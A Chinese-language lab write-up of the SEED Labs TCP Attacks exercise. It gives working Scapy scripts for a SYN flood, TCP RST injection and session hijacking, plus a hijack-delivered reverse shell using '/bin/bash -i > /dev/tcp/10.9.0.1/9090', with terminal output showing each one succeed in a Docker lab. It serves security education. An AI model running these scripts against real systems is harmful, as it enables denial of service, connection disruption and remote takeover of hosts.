本文为 SEED Labs 2.0 - TCP Attacks Lab 的实验记录。
文章目录
实验原理
TCP/IP 协议中的漏洞代表了协议设计和实现中一种特殊类型的漏洞;它们提供了宝贵的教训,说明为什么应该从一开始就设计安全性,而不是事后才添加。此外,研究这些漏洞有助于我们了解网络安全的挑战以及为什么需要许多网络安全措施。在本实验中,我们将对 TCP 进行多次攻击。本实验涵盖以下主题:
- TCP 协议
- TCP SYN 泛洪攻击和 SYN cookie
- TCP 重置攻击
- TCP 会话劫持攻击
- shell 反弹
Task 1: SYN Flooding Attack
为方便观察,我们修改名称:
# export PS1="\w victim-10.9.0.5$ "
# export PS1="\w attacker-10.9.0.1$ "
# export PS1="\w user1-10.9.0.6$ "
修改 dockerfile,给 victim 加上:
privileged: true
Task 1.1: Launching the Attack Using Python
编写
synflood.py
:
#!/bin/env python3from scapy.allimport IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
whileTrue:
pkt[IP].src =str(IPv4Address(getrandbits(32)))# source iP
pkt[TCP].sport = getrandbits(16)# source port
pkt[TCP].seq = getrandbits(32)# sequence number
send(pkt, verbose =0)
查看当前 tcp 连接:
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 000.0.0.0:23 0.0.0.0:* LISTEN
tcp 00127.0.0.11:41019 0.0.0.0:* LISTEN
运行程序:
attacker-10.9.0.1$ synflood.py
查看当前 tcp 连接:
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 000.0.0.0:23 0.0.0.0:* LISTEN
tcp 00127.0.0.11:41019 0.0.0.0:* LISTEN
tcp 0010.9.0.5:23 51.28.29.181:52204 SYN_RECV
tcp 0010.9.0.5:23 144.159.54.170:59931 SYN_RECV
tcp 0010.9.0.5:23 187.91.156.41:61074 SYN_RECV
......
victim-10.9.0.5$ netstat -tna |grep SYN_RECV |wc -l
97
victim-10.9.0.5$ ss -n state syn-recv sport = :23 |wc -l
98
我们 telnet
10.9.0.5
:
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
791656960e97 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that usersdo not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Aug 29 06:36:20 UTC 2022 from user1-10.9.0.6.net-10.9.0.0 on pts/2
只稍微等了一下下,就连接上了。而我们之后再次连接,都是瞬间连接上。
第一次是因为,python 程序跑得不够快,其它用户总有机会抢过它。而之后能立即连接是因为,受害者主机记住了原来的连接。
Task 1.2: Launch the Attack Using C
我们首先清空一下:
victim-10.9.0.5$ ip tcp_metrics flush
在宿主机编译:
$ gcc -o synflood synflood.c
$ chmod a+x synflood
然后运行:
attacker-10.9.0.1$ synflood 10.9.0.5 23
查看当前 tcp 连接:
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 000.0.0.0:23 0.0.0.0:* LISTEN
tcp 00127.0.0.11:41019 0.0.0.0:* LISTEN
tcp 0010.9.0.5:23 111.55.219.82:27483 SYN_RECV
tcp 0010.9.0.5:23 249.195.34.103:34881 SYN_RECV
tcp 0010.9.0.5:23 148.11.56.119:17200 SYN_RECV
......
victim-10.9.0.5$ netstat -tna |grep SYN_RECV |wc -l
97
victim-10.9.0.5$ ss -n state syn-recv sport = :23 |wc -l
98
telnet
10.9.0.5
:
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
可以看到,卡在这里不动了。
Task 1.3: Enable the SYN Cookie Countermeasure
我们首先清空一下:
victim-10.9.0.5$ ip tcp_metrics flush
启动 syncookies:
victim-10.9.0.5$ sysctl -w net.ipv4.tcp_syncookies=1
net.ipv4.tcp_syncookies =1
启动程序:
attacker-10.9.0.1$ synflood 10.9.0.5 23
查看当前 tcp 连接:
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 00127.0.0.11:34637 0.0.0.0:* LISTEN
tcp 000.0.0.0:23 0.0.0.0:* LISTEN
tcp 0010.9.0.5:23 55.22.243.45:18447 SYN_RECV
tcp 0010.9.0.5:23 118.13.9.120:28741 SYN_RECV
tcp 0010.9.0.5:23 32.34.55.0:57543 SYN_RECV
......
victim-10.9.0.5$ netstat -tna |grep SYN_RECV |wc -l
128
victim-10.9.0.5$ ss -n state syn-recv sport = :23 |wc -l
129
telnet
10.9.0.5
:
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that usersdo not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
可以看到,尽管队列已经满了,但还是能正常连接。
Task 2: TCP RST Attacks on telnet Connections
在宿主机中查看网桥名称:
$ ifconfig
br-88413f1d34bf: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
inet6 fe80::42:65ff:fef4:634e prefixlen 64 scopeid 0x20<link>
ether 02:42:65:f4:63:4e txqueuelen 0(Ethernet)
RX packets 4395661 bytes 193408492(193.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4821393 bytes 260362284(260.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
编写
tcprst.py
:
#!/usr/bin/env python3from scapy.allimport*defspoof_pkt(pkt):
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
f =f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-88413f1d34bf',filter=f, prn=spoof_pkt)
运行程序:
attacker-10.9.0.1$ tcprst.py
telnet
10.9.0.5
:
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: sConnection closed by foreign host.
可以看出,连接直接被中断了。
Task 3: TCP Session Hijacking
编写
tcphijacking.py
:
#!/usr/bin/env python3from scapy.allimport*defspoof_pkt(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23,
flags="A",
seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
data ="echo \"Fk U bitch!\" >> ~/hijacking.out\n\0"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
f =f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-88413f1d34bf',filter=f, prn=spoof_pkt)
telnet
10.9.0.5
:
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that usersdo not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Aug 2910:20:40 UTC 2022 from user1-10.9.0.6.net-10.9.0.0 on pts/2
运行程序:
attacker-10.9.0.1$ tcphijacking.py
查看攻击效果:
victim-10.9.0.5$ cat /home/seed/hijacking.out
Fk U bitch!
可以看出,程序成功写入了一个文件。
Task 4: Creating Reverse Shell using TCP Session Hijacking
编写
reverseshell.py
:
#!/usr/bin/env python3from scapy.allimport*defspoof_pkt(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
data ="/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0"
pkt = ip/tcp/data
send(pkt, verbose=0)
f =f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-88413f1d34bf',filter=f, prn=spoof_pkt)
在 attacker 上开启监听:
attacker-10.9.0.1$ nc -lnv 9090
Listening on 0.0.0.0 9090
telnet
10.9.0.5
:
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that usersdo not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Aug 2910:54:18 UTC 2022 from user1-10.9.0.6.net-10.9.0.0 on pts/3
运行程序:
attacker-10.9.0.1$ reverseshell.py
可以看到,成功拿到 victim 的 shell:
attacker-10.9.0.1$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 42462
seed@22c45e0a11e6:~$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
70: eth0@if71: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0a:09:00:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.9.0.5/24 brd 10.9.0.255 scope global eth0
valid_lft forever preferred_lft forever
实验总结
本实验需要分清到底劫持的哪个报文,剩下的工作就很简单了。
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